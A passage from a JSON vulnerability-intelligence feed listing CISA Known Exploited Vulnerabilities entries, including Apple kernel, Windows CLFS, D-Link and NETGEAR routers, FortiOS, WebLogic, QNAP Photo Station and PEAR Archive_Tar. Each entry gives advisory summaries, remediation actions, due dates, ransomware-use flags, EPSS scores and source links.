exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-32917","cveId":"CVE-2022-32917","aliases":[],"kind":"vulnerability","title":"Apple iOS, iPadOS, and macOS Remote Code Execution Vulnerability","summary":"Apple kernel, which is included in iOS, iPadOS, and macOS, contains an unspecified vulnerability where an application may be able to execute code with kernel privileges.","detail":"CISA added this entry on 2022-09-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-14","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS, iPadOS, and macOS","stacks":["Apple iOS and iPadOS","Apple macOS","Apple","iOS, iPadOS, and macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-14","dueAt":"2022-10-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05603,"percentile":0.92855,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-32917&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-32917","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-32917 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-32917&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-32917, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-37969","cveId":"CVE-2022-37969","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Common Log File System (CLFS) Driver Privilege Escalation Vulnerability","summary":"Microsoft Windows Common Log File System (CLFS) driver contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2022-09-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-14","dueAt":"2022-10-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.28275,"percentile":0.98104,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-37969&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-37969","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-37969 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-37969&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-37969, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2011-1823","cveId":"CVE-2011-1823","aliases":[],"kind":"vulnerability","title":"Android OS Privilege Escalation Vulnerability","summary":"The vold volume manager daemon in Android kernel trusts messages from a PF_NETLINK socket, which allows an attacker to execute code and gain root privileges. This vulnerability is associated with GingerBreak and Exploit.AndroidOS.Lotoor.","detail":"CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-08","updatedAt":null,"regions":["Global"],"vendor":"Android","product":"Android OS","stacks":["Android","Android OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-08","dueAt":"2022-09-29","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.41367,"percentile":0.98662,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2011-1823&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2011-1823","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2011-1823 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2011-1823&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2011-1823, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2011-4723","cveId":"CVE-2011-4723","aliases":[],"kind":"vulnerability","title":"D-Link DIR-300 Router Cleartext Storage of a Password Vulnerability","summary":"The D-Link DIR-300 router stores cleartext passwords, which allows context-dependent attackers to obtain sensitive information.","detail":"CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-09-08","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DIR-300 Router","stacks":["D-Link","DIR-300 Router"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-08","dueAt":"2022-09-29","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03064,"percentile":0.87524,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2011-4723&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2011-4723","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2011-4723 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2011-4723&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2011-4723, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-5521","cveId":"CVE-2017-5521","aliases":[],"kind":"vulnerability","title":"NETGEAR Multiple Devices Exposure of Sensitive Information Vulnerability","summary":"Multiple NETGEAR devices are prone to admin password disclosure via simple crafted requests to the web management server.","detail":"CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions. If the affected device has since entered end-of-life, it should be disconnected if still in use.","publishedAt":"2022-09-08","updatedAt":null,"regions":["Global"],"vendor":"NETGEAR","product":"Multiple Devices","stacks":["Netgear","NETGEAR","Multiple Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-08","dueAt":"2022-09-29","action":"Apply updates per vendor instructions. If the affected device has since entered end-of-life, it should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.89353,"percentile":0.99781,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-5521&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-5521","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-5521 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-5521&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-5521, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-13374","cveId":"CVE-2018-13374","aliases":[],"kind":"vulnerability","title":"Fortinet FortiOS and FortiADC Improper Access Control Vulnerability","summary":"Fortinet FortiOS and FortiADC contain an improper access control vulnerability that allows attackers to obtain the LDAP server login credentials configured in FortiGate by pointing a LDAP server connectivity test request to a rogue LDAP server.","detail":"CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-08","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiOS and FortiADC","stacks":["Fortinet","FortiOS and FortiADC"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-08","dueAt":"2022-09-29","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.38088,"percentile":0.98547,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-13374&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-13374","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-13374 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-13374&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-13374, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-2628","cveId":"CVE-2018-2628","aliases":[],"kind":"vulnerability","title":"Oracle WebLogic Server Unspecified Vulnerability","summary":"Oracle WebLogic Server contains an unspecified vulnerability which can allow an unauthenticated attacker with T3 network access to compromise the server.","detail":"CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-08","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"WebLogic Server","stacks":["Oracle","WebLogic Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-08","dueAt":"2022-09-29","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99958,"percentile":0.99975,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-2628&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-2628","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-2628 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-2628&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-2628, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-6530","cveId":"CVE-2018-6530","aliases":[],"kind":"vulnerability","title":"D-Link Multiple Routers OS Command Injection Vulnerability","summary":"Multiple D-Link routers contain an unspecified vulnerability that allows for execution of OS commands.","detail":"CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The vendor D-Link published an advisory stating the fix under CVE-2018-20114 properly patches KEV entry CVE-2018-6530. If the device is still supported, apply updates per vendor instructions. If the affected device has since entered its end-of-life, it should be disconnected if still in use.","publishedAt":"2022-09-08","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"Multiple Routers","stacks":["D-Link","Multiple Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-08","dueAt":"2022-09-29","action":"The vendor D-Link published an advisory stating the fix under CVE-2018-20114 properly patches KEV entry CVE-2018-6530. If the device is still supported, apply updates per vendor instructions. If the affected device has since entered its end-of-life, it should be disconnected if still in use.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96682,"percentile":0.99884,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-6530&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-6530","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-6530 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-6530&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-6530, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-7445","cveId":"CVE-2018-7445","aliases":[],"kind":"vulnerability","title":"MikroTik RouterOS Stack-Based Buffer Overflow Vulnerability","summary":"In MikroTik RouterOS, a stack-based buffer overflow occurs when processing NetBIOS session request messages. Remote attackers with access to the service can exploit this vulnerability and gain code execution on the system.","detail":"CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-08","updatedAt":null,"regions":["Global"],"vendor":"MikroTik","product":"RouterOS","stacks":["MikroTik","RouterOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-08","dueAt":"2022-09-29","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.65828,"percentile":0.99263,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-7445&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-7445","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-7445 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-7445&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-7445, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-9934","cveId":"CVE-2020-9934","aliases":[],"kind":"vulnerability","title":"Apple iOS, iPadOS, and macOS Input Validation Vulnerability","summary":"Apple iOS, iPadOS, and macOS contain an unspecified vulnerability involving input validation which can allow a local attacker to view sensitive user information.","detail":"CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-08","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS, iPadOS, and macOS","stacks":["Apple iOS and iPadOS","Apple macOS","Apple","iOS, iPadOS, and macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-08","dueAt":"2022-09-29","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03208,"percentile":0.88073,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-9934&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-9934","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-9934 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-9934&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-9934, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-26258","cveId":"CVE-2022-26258","aliases":[],"kind":"vulnerability","title":"D-Link DIR-820L Remote Code Execution Vulnerability","summary":"D-Link DIR-820L contains an unspecified vulnerability in Device Name parameter in /lan.asp which allows for remote code execution.","detail":"CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-09-08","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DIR-820L","stacks":["D-Link","DIR-820L"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-08","dueAt":"2022-09-29","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.91632,"percentile":0.99812,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-26258&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-26258","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-26258 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-26258&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-26258, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-27593","cveId":"CVE-2022-27593","aliases":[],"kind":"vulnerability","title":"QNAP Photo Station Externally Controlled Reference Vulnerability","summary":"Certain QNAP NAS running Photo Station with internet exposure contain an externally controlled reference to a resource vulnerability which can allow an attacker to modify system files. This vulnerability was observed being utilized in a Deadbolt ransomware campaign.","detail":"CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-08","updatedAt":null,"regions":["Global"],"vendor":"QNAP","product":"Photo Station","stacks":["QNAP","Photo Station"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-08","dueAt":"2022-09-29","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.87908,"percentile":0.9976,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-27593&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-27593","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-27593 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-27593&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-27593, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-3075","cveId":"CVE-2022-3075","aliases":[],"kind":"vulnerability","title":"Google Chromium Mojo Insufficient Data Validation Vulnerability","summary":"Google Chromium Mojo contains an insufficient data validation vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2022-09-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-09-08","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium Mojo","stacks":["Google Chrome","Google","Chromium Mojo"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-09-08","dueAt":"2022-09-29","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05846,"percentile":0.93124,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-3075&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-3075","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-09-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-3075 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-3075&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-3075, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-28949","cveId":"CVE-2020-28949","aliases":[],"kind":"vulnerability","title":"PEAR Archive_Tar Deserialization of Untrusted Data Vulnerability","summary":"PEAR Archive_Tar allows an unserialization attack because phar: is blocked but PHAR: is not blocked. PEAR stands for PHP Extension and Application Repository and it is an open-source framework and distribution system for reusable PHP components with known usage in third-party products such as Drupal Core and Red Hat Linux.","detail":"CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-25","updatedAt":null,"regions":["Global"],"vendor":"PEAR","product":"Archive_Tar","stacks":["PEAR","Archive_Tar"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-25","dueAt":"2022-09-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84554,"percentile":0.99699,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-28949&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-28949","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-28949 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-28949&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-28949, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-36193","cveId":"CVE-2020-36193","aliases":[],"kind":"vulnerability","title":"PEAR Archive_Tar Improper Link Resolution Vulnerability","summary":"PEAR Archive_Tar Tar.php allows write operations with directory traversal due to inadequate checking of symbolic links. PEAR stands for PHP Extension and Application Repository and it is an open-source framework and distribution system for reusable PHP components with known usage in third-party products such as Drupal Core and Red Hat Linux.","detail":"CISA added this entry on 2022-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor 